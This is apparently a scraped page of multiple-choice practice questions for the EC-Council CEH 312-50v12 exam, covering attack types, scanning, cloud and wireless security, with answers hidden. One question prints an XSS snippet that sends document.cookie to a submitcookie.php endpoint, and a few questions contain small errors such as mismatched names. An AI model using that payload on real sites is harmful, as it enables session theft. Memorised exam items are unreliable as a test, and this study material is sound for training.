B. Legitimate applications

C. Script-based injection

D. Phishing

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 73

Topic #: 1

[All 312-50v12 Questions]

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API.

Which of the following tools is used by Wilson in the above scenario?

A. Factiva

B. ZoomInfo

C. Netcraft

D. Infoga

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 74

Topic #: 1

[All 312-50v12 Questions]

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.

Which phase of the vulnerability-management life cycle is David currently in?

A. Remediation

B. Verification

C. Risk assessment

D. Vulnerability scan

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 75

Topic #: 1

[All 312-50v12 Questions]

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider by sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain remote access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compressed the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.
Which of the following cloud attacks did Alice perform in the above scenario?

A. Cloud cryptojacking

B. Man-in-the-cloud (MITC) attack

C. Cloud hopper attack

D. Cloudborne attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 76

Topic #: 1

[All 312-50v12 Questions]

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script>
document.write('<img.src="https://localhost/submitcookie.php? cookie ='+ escape
(document.cookie) +"' />);
</script>
```

What issue occurred for the users who clicked on the image?

A. This php file silently executes the code and grabs the user's session cookie and session ID.

B. The code redirects the user to another site.

C. The code injects a new cookie to the browser.

D. The code is a virus that is attempting to gather the user's username and password.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 77

Topic #: 1

[All 312-50v12 Questions]

Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs.

Which two SQL injection types would give her the results she is looking for?

A. Out of band and boolean-based

B. Union-based and error-based

C. Time-based and union-based

D. Time-based and boolean-based

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 78

Topic #: 1

[All 312-50v12 Questions]

Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server.

What is the type of attack Jason performed in the above scenario?

A. Web server misconfiguration

B. Server-side request forgery (SSRF) attack

C. Web cache poisoning attack

D. Website defacement

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 79

Topic #: 1

[All 312-50v12 Questions]

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m.

What is the short-range wireless communication technology George employed in the above scenario?

A. LPWAN

B. MQTT

C. NB-IoT

D. Zigbee

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 80

Topic #: 1

[All 312-50v12 Questions]

Eric, a cloud security engineer, implements a technique for securing the cloud resources used by his organization. This technique assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. Using this technique, he also imposed conditions such that employees can access only the resources required for their role.

What is the technique employed by Eric to secure cloud resources?

A. Demilitarized zone

B. Zero trust network

C. Serverless computing

D. Container technology

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 81

Topic #: 1

[All 312-50v12 Questions]

You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID "Brakeme-Internal." You realize that this network uses WPA3 encryption.

Which of the following vulnerabilities is the promising to exploit?

A. Cross-site request forgery

B. Dragonblood

C. Key reinstallation attack

D. AP misconfiguration

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 82

Topic #: 1

[All 312-50v12 Questions]

What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne?

A. White-hat hacking program

B. Bug bounty program

C. Ethical hacking program

D. Vulnerability hunting program

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 83

Topic #: 1

[All 312-50v12 Questions]

A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete.

Which attack is being described here?

A. Desynchronization

B. Slowloris attack

C. Session splicing

D. Phlashing

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 84

Topic #: 1

[All 312-50v12 Questions]

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.
Which of the following host discovery techniques must he use to perform the given task?

A. UDP scan

B. ARP ping scan

C. ACK flag probe scan

D. TCP Maimon scan

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 85
Topic #: 1
[All 312-50v12 Questions]

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries.
Which of the following tiers of the container technology architecture is Abel currently working in?

A. Tier-1: Developer machines

B. Tier-2: Testing and accreditation systems

C. Tier-3: Registries

D. Tier-4: Orchestrators

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 86

Topic #: 1

[All 312-50v12 Questions]

Henry is a cyber security specialist hired by BlackEye – Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

A. 128

B. 255

C. 64

D. 138

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 87

Topic #: 1

[All 312-50v12 Questions]

Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as '"or '1'='1'" in any basic injection statement such as "or 1=1."

Identify the evasion technique used by Daniel in the above scenario.

A. Char encoding

B. IP fragmentation

C. Variation

D. Null byte

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 88

Topic #: 1

[All 312-50v12 Questions]

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.

Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

A. In-band SQLi

B. Union-based SQLi

C. Out-of-band SQLi

D. Time-based blind SQLi

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 89

Topic #: 1

[All 312-50v12 Questions]

Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack.

What is the type of vulnerability assessment performed by Johnson in the above scenario?

A. Wireless network assessment

B. Application assessment

C. Host-based assessment

D. Distributed assessment

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 90

Topic #: 1

[All 312-50v12 Questions]

In this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values.
What is this attack called?

A. Evil twin

B. Chop chop attack

C. Wardriving

D. KRACK

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 91

Topic #: 1

[All 312-50v12 Questions]

After an audit, the auditors inform you that there is a critical finding that you must tackle immediately. You read the audit report, and the problem is the service running on port 389.

Which service is this and how can you tackle the problem?

A. The service is NTP, and you have to change it from UDP to TCP in order to encrypt it.

B. The service is LDAP, and you must change it to 636, which is LDAPS.

C. The findings do not require immediate actions and are only suggestions.

D. The service is SMTP, and you must change it to SMIME, which is an encrypted way to send emails.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 92

Topic #: 1

[All 312-50v12 Questions]

Mike, a security engineer, was recently hired by BigFox Ltd. The company recently experienced disastrous DoS attacks. The management had instructed Mike to build defensive strategies for the company's IT infrastructure to thwart DoS/DDoS attacks. Mike deployed some countermeasures to handle jamming and scrambling attacks.

What is the countermeasure Mike applied to defend against jamming and scrambling attacks?

A. Allow the transmission of all types of addressed packets at the ISP level

B. Disable TCP SYN cookie protection

C. Allow the usage of functions such as gets and strcpy

D. Implement cognitive radios in the physical layer

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 93

Topic #: 1

[All 312-50v12 Questions]

You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic.
If you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?

A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

B. You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates.

C. You should use netstat to check for any suspicious connections with another IP address within the LAN.

D. You cannot identify such an attack and must use a VPN to protect your traffic.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 94

Topic #: 1

[All 312-50v12 Questions]

Lewis, a professional hacker, targeted the IoT cameras and devices used by a target venture-capital firm. He used an information-gathering tool to collect information about the IoT devices connected to a network, open ports and services, and the attack surface area. Using this tool, he also generated statistical reports on broad usage patterns and trends. This tool helped Lewis continually monitor every reachable server and device on the Internet, further allowing him to exploit these devices in the network.

Which of the following tools was employed by Lewis in the above scenario?

A. NeuVector

B. Lacework

C. Censys

D. Wapiti

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 95

Topic #: 1

[All 312-50v12 Questions]

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered.

John decided to perform a TCP SYN ping scan on the target network.

Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

A. nmap -sn -PO < target IP address >

B. nmap -sn -PS < target IP address >

C. nmap -sn -PA < target IP address >

D. nmap -sn -PP < target IP address >

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 96

Topic #: 1

[All 312-50v12 Questions]

Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list as an argument into his password-cracking application.
What type of attack is Ricardo performing?

A. Brute force

B. Known plaintext

C. Dictionary

D. Password spraying

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 97

Topic #: 1

[All 312-50v12 Questions]

What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

A. Performing content enumeration using the bruteforce mode and 10 threads

B. Performing content enumeration using the bruteforce mode and random file extensions

C. Skipping SSL certificate verification

D. Performing content enumeration using a wordlist

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 98

Topic #: 1

[All 312-50v12 Questions]

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration.

What type of an alert is this?

A. False negative

B. True negative

C. True positive

D. False positive

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 99

Topic #: 1

[All 312-50v12 Questions]

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and server services.

Which of the following types of MIB is accessed by Garry in the above scenario?

A. LNMIB2.MIB

B. DHCP.MIB

C. MIB_II.MIB

D. WINS.MIB

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 100

Topic #: 1

[All 312-50v12 Questions]

Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this, James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks.

What is the tool employed by James in the above scenario?

A. ophcrack

B. VisualRoute

C. Hootsuite

D. HULK

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 101

Topic #: 1

[All 312-50v12 Questions]

Alice needs to send a confidential document to her coworker, Bryan. Their company has public key infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice uses _____ to encrypt the message, and Bryan uses _____ to confirm the digital signature.

A. Bryan's public key; Bryan's public key

B. Alice's public key; Alice's public key

C. Bryan's private key; Alice's public key

D. Bryan's public key; Alice's public key

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 102

Topic #: 1

[All 312-50v12 Questions]

What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

A. AndroidManifest.xml

B. classes.dex

C. APK.info

D. resources.asrc

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 103

Topic #: 1

[All 312-50v12 Questions]

Mason, a professional hacker, targets an organization and spreads Emotet malware through malicious script. After infecting the victim's device, Mason further used Emotet to spread the infection across local networks and beyond to compromise as many machines as possible. In this process, he used a tool, which is a self-extracting RAR file, to retrieve information related to network resources such as writable share drives.

What is the tool employed by Mason in the above scenario?

A. NetPass.exe

B. Outlook scraper

C. WebBrowserPassView

D. Credential enumerator

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 104

Topic #: 1

[All 312-50v12 Questions]

Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

A. Bluesmacking

B. Bluesnarfing

C. Bluejacking

D. Bluebugging

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 105
Topic #: 1
[All 312-50v12 Questions]

While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, "Learn more about your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed.
What most likely happened?

A. Matt inadvertently provided the answers to his security questions when responding to the post.

B. Matt inadvertently provided his password when responding to the post.

C. Matt's computer was infected with a keylogger.

D. Matt's bank-account login information was brute forced.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 106
Topic #: 1
[All 312-50v12 Questions]

Attacker Simon targeted the communication network of an organization and disabled the security controls of NetNTLMv1 by modifying the values of LMCompatibilityLevel, NTLMMinClientSec, and RestrictSendingNTLMTraffic. He then extracted all the non-network logon tokens from all the active processes to masquerade as a legitimate user to launch further attacks.
What is the type of attack performed by Simon?

A. Combinator attack
B. Dictionary attack
C. Rainbow table attack
D. Internal monologue attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 107
Topic #: 1
[All 312-50v12 Questions]

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company.
What is the social engineering technique Steve employed in the above scenario?

A. Baiting
B. Piggybacking
C. Diversion theft
D. Honey trap

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 108

Topic #: 1

[All 312-50v12 Questions]

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

A. Exploration

B. Investigation

C. Reconnaissance

D. Enumeration

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 109

Topic #: 1

[All 312-50v12 Questions]

Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited.
What is the incident handling and response (IH&R) phase, in which Robert has determined these issues?

A. Incident triage

B. Preparation

C. Incident recording and assignment

D. Eradication

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 110

Topic #: 1

[All 312-50v12 Questions]

At what stage of the cyber kill chain theory model does data exfiltration occur?

A. Weaponization

B. Actions on objectives

C. Command and control

D. Installation

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 111

Topic #: 1

[All 312-50v12 Questions]

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine.

What is the social engineering technique Steve employed in the above scenario?

A. Diversion theft

B. Quid pro quo

C. Elicitation

D. Phishing

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 112

Topic #: 1

[All 312-50v12 Questions]

An organization decided to harden its security against web-application and web-server attacks. John, a security personnel in the organization, employed a security scanner to automate web-application security testing and to guard the organization's web infrastructure against web-application threats. Using that tool, he also wants to detect XSS, directory transversal problems, fault injection, SQL injection, attempts to execute commands, and several other attacks.

Which of the following security scanners will help John perform the above task?

A. AlienVault® OSSIMTM

B. Syhunt Hybrid

C. Saleae Logic Analyzer

D. Cisco ASA

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 113

Topic #: 1

[All 312-50v12 Questions]

Which of the following Metasploit post-exploitation modules can be used to escalate privileges on Windows systems?

A. getsystem

B. getuid

C. keylogrecorder

D. autoroute

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 114
Topic #: 1
[All 312-50v12 Questions]

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed.
What is the port scanning technique used by Sam to discover open ports?

A. Xmas scan

B. IDLE/IPID header scan

C. TCP Maimon scan

D. ACK flag probe scan

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 115
Topic #: 1
[All 312-50v12 Questions]

An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware.
Which of the following tools must the organization employ to protect its critical infrastructure?

A. Robotium
B. BalenaCloud
C. Flowmon
D. IntentFuzzer

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 116
Topic #: 1
[All 312-50v12 Questions]

Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring.
Which of the following is this type of solution?

A. IaaS
B. SaaS
C. PaaS
D. CaaS

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 117

Topic #: 1

[All 312-50v12 Questions]

Juliet, a security researcher in an organization, was tasked with checking for the authenticity of images to be used in the organization's magazines. She used these images as a search query and tracked the original source and details of the images, which included photographs, profile pictures, and memes.
Which of the following footprinting techniques did Rachel use to finish her task?

A. Google advanced search

B. Meta search engines

C. Reverse image search

D. Advanced image search

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 118
Topic #: 1
[All 312-50v12 Questions]

Mary, a penetration tester, has found password hashes in a client system she managed to breach. She needs to use these passwords to continue with the test, but she does not have time to find the passwords that correspond to these hashes.
Which type of attack can she implement in order to continue?

A. Pass the hash

B. Internal monologue attack

C. LLMNR/NBT-NS poisoning

D. Pass the ticket

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 119

Topic #: 1

[All 312-50v12 Questions]

Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network.

What is the type of vulnerability assessment that Morris performed on the target organization?

A. Credentialed assessment

B. Internal assessment

C. External assessment

D. Passive assessment

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 120

Topic #: 1

[All 312-50v12 Questions]

Which of the following protocols can be used to secure an LDAP service against anonymous queries?

A. NTLM

B. RADIUS

C. WPA

D. SSO

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 121

Topic #: 1

[All 312-50v12 Questions]

During the enumeration phase, Lawrence performs banner grabbing to obtain information such as OS details and versions of services running. The service that he enumerated runs directly on TCP port 445.

Which of the following services is enumerated by Lawrence in this scenario?

A. Remote procedure call (RPC)

B. Telnet

C. Server Message Block (SMB)

D. Network File System (NFS)

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 122

Topic #: 1

[All 312-50v12 Questions]

Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred?

A. Wardriving

B. Wireless sniffing

C. Evil twin

D. Piggybacking

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 123

Topic #: 1

[All 312-50v12 Questions]

Which file is a rich target to discover the structure of a website during web-server footprinting?

A. domain.txt

B. Robots.txt

C. Document root

D. index.html

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 124

Topic #: 1

[All 312-50v12 Questions]

John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server.

What is the technique employed by John to bypass the firewall?

A. DNSSEC zone walking

B. DNS cache snooping

C. DNS enumeration

D. DNS tunneling method

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 125

Topic #: 1

[All 312-50v12 Questions]

There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption.

What encryption protocol is being used?

A. RADIUS

B. WPA

C. WEP

D. WPA3

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 126

Topic #: 1

[All 312-50v12 Questions]

You are a cybersecurity specialist at CloudTech Inc., a company providing cloud-based services. You are managing a project for a client who wants to migrate their sensitive data to a public cloud service. To comply with regulatory requirements, the client insists on maintaining full control over the encryption keys even when the data is at rest on the cloud. Which of the following practices should you implement to meet this requirement?

A. Encrypt data client-side before uploading to the cloud and retain control of the encryption keys.

B. Use the cloud service provider's encryption services but store keys on-premises.

C. Rely on Secure Sockets Layer (SSL) encryption for data at rest.

D. Use the cloud service provider's default encryption and key management services.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 127

Topic #: 1

[All 312-50v12 Questions]

In an advanced persistent threat scenario, an adversary follows a detailed set of procedures in the cyber kill chain. During one such instance, the adversary has successfully gained access to a corporate network and now attempts to obfuscate malicious traffic within legitimate network traffic. Which of the following actions would most likely be part of the adversary's current procedures?

A. Employing data staging techniques to collect and aggregate sensitive data.

B. Initiating DNS tunneling to communicate with the command-and-control server.

C. Establishing a command-and-control server to communicate with compromised systems.

D. Conducting internal reconnaissance using PowerShell scripts.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 128

Topic #: 1

[All 312-50v12 Questions]

As a part of an ethical hacking exercise, an attacker is probing a target network that is suspected to employ various honeypot systems for security. The attacker needs to detect and bypass these honeypots without alerting the target. The attacker decides to utilize a suite of techniques. Which of the following techniques would NOT assist in detecting a honeypot?

A. Implementing a brute force attack to verify system vulnerability

B. Probing system services and observing the three-way handshake

C. Using honeypot detection tools like Send-Safe Honeypot Hunter

D. Analyzing the MAC address to detect instances running on VMware

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 129

Topic #: 1

[All 312-50v12 Questions]

A skilled ethical hacker was assigned to perform a thorough OS discovery on a potential target. They decided to adopt an advanced fingerprinting technique and sent a TCP packet to an open TCP port with specific flags enabled. Upon receiving the reply, they noticed the flags were SYN and ECN-Echo. Which test did the ethical hacker conduct and why was this specific approach adopted?

A. Test 3: The test was executed to observe the response of the target system when a packet with URC, PSH, SYN, and FIN flags was sent, thereby identifying the OS

B. Test 2: This test was chosen because a TCP packet with no flags enabled is known as a NULL packet and this would allow the hacker to assess the OS of the target

C. Test 1: The test was conducted because SYN and ECN-Echo flags enabled to allow the hacker to probe the nature of the response and subsequently determine the OS fingerprint

D. Test 6: The hacker selected this test because a TCP packet with the ACK flag enabled sent to a closed TCP port would yield more information about the OS

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 130

Topic #: 1

[All 312-50v12 Questions]

In an intricate web application architecture using an Oracle database, you, as a security analyst, have identified a potential SQL Injection attack surface. The database consists of 'x' tables, each with 'y' columns. Each table contains 'z' records. An attacker, well-versed in SQLi techniques, crafts 'u' SQL payloads, each attempting to extract maximum data from the database. The payloads include 'UNION SELECT' statements and 'DBMS_XSLPROCESSOR.READ2CLOB' to read sensitive files. The attacker aims to maximize the total data extracted 'E=xyz*u'. Assuming 'x=4', 'y=2', and varying 'z' and 'u', which situation is likely to result in the highest extracted data volume?

A. z=600, u=2: The attacker devises 2 SQL payloads, each aimed at tables holding 600 records, affecting all columns across all tables.

B. z=550, u=2: Here, the attacker formulates 2 SQL payloads and directs them towards tables containing 550 records, impacting all columns and tables.

C. z=500, u=3: The attacker creates 3 SQL payloads and targets tables with 500 records each, exploiting all columns and tables.

D. z=400, u=4: The attacker constructs 4 SQL payloads, each focusing on tables with 400 records, influencing all columns of all tables.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 131

Topic #: 1

[All 312-50v12 Questions]

A large enterprise has been experiencing sporadic system crashes and instability, resulting in limited access to its web services. The security team suspects it could be a result of a Denial of Service (DoS) attack. A significant increase in traffic was noticed in the network logs, with patterns suggesting packet sizes exceeding the prescribed size limit. Which among the following DoS attack techniques best describes this scenario?

A. Smurf attack

B. UDP flood attack

C. Pulse wave attack

D. Ping of Death attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 132

Topic #: 1

[All 312-50v12 Questions]

Your company has been receiving regular alerts from its IDS about potential intrusions. On further investigation, you notice that these alerts have been false positives triggered by certain goodware files. In response, you are planning to enhance the IDS with YARA rules, reducing these false positives while improving the detection of real threats. Based on the scenario and the principles of YARA and IDS, which of the following strategies would best serve your purpose?

A. Writing YARA rules specifically to identify the goodware files triggering false positives

B. Implementing YARA rules that focus solely on known malware signatures

C. Creating YARA rules to examine only the private database for intrusions

D. Incorporating YARA rules to detect patterns in all files regardless of their nature

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 133

Topic #: 1

[All 312-50v12 Questions]

Jake, a network security specialist, is trying to prevent network-level session hijacking attacks in his company. While studying different types of such attacks, he learns about a technique where an attacker inserts their machine into the communication between a client and a server, making it seem like the packets are flowing through the original path. This technique is primarily used to reroute the packets. Which of the following types of network-level session hijacking attacks is Jake studying?

A. TCP/IP Hijacking

B. RST Hijacking

C. UDP Hijacking

D. Man-in-the-middle Attack Using Forged ICMP and ARP Spoofing

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 134

Topic #: 1

[All 312-50v12 Questions]

Given the complexities of an organization's network infrastructure, a threat actor has exploited an unidentified vulnerability, leading to a major data breach. As a Certified Ethical Hacker (CEH). you are tasked with enhancing the organization's security stance. To ensure a comprehensive security defense, you recommend a certain security strategy. Which of the following best represents the strategy you would likely suggest and why?

A. Develop an in-depth Risk Management process, involving identification, assessment, treatment, tracking, and review of risks to control the potential effects on the organization.

B. Establish a Defense-in-Depth strategy, incorporating multiple layers of security measures to increase the complexity and decrease the likelihood of a successful attack.

C. Implement an Information Assurance (IA) policy focusing on ensuring the integrity, availability, confidentiality, and authenticity of information systems.

D. Adopt a Continual/Adaptive Security Strategy involving ongoing prediction, prevention, detection, and response actions to ensure comprehensive computer network defense.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 135

Topic #: 1

[All 312-50v12 Questions]

As a cybersecurity professional, you are responsible for securing a high-traffic web application that uses MySQL as its backend database. Recently, there has been a surge of unauthorized login attempts, and you suspect that a seasoned black-hat hacker is behind them. This hacker has shown proficiency in SQL Injection and appears to be using the 'UNION' SQL keyword to trick the login process into returning additional data. However, your application's security measures include filtering special characters in user inputs, a method usually effective against such attacks. In this challenging environment, if the hacker still intends to exploit this SQL Injection vulnerability, which strategy is he most likely to employ?

A. The hacker tries to manipulate the 'UNION' keyword in such a way that it triggers a database error, potentially revealing valuable information about the database's structure.

B. The hacker switches tactics and resorts to a 'time-based blind' SQL Injection attack, which would force the application to delay its response, thereby revealing information based on the duration of the delay.

C. The hacker attempts to bypass the special character filter by encoding his malicious input, which could potentially enable him to successfully inject damaging SQL queries.

D. The hacker alters his approach and injects a DROP TABLE' statement, a move that could potentially lead to the loss of vital data stored in the application's database.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 136

Topic #: 1

[All 312-50v12 Questions]

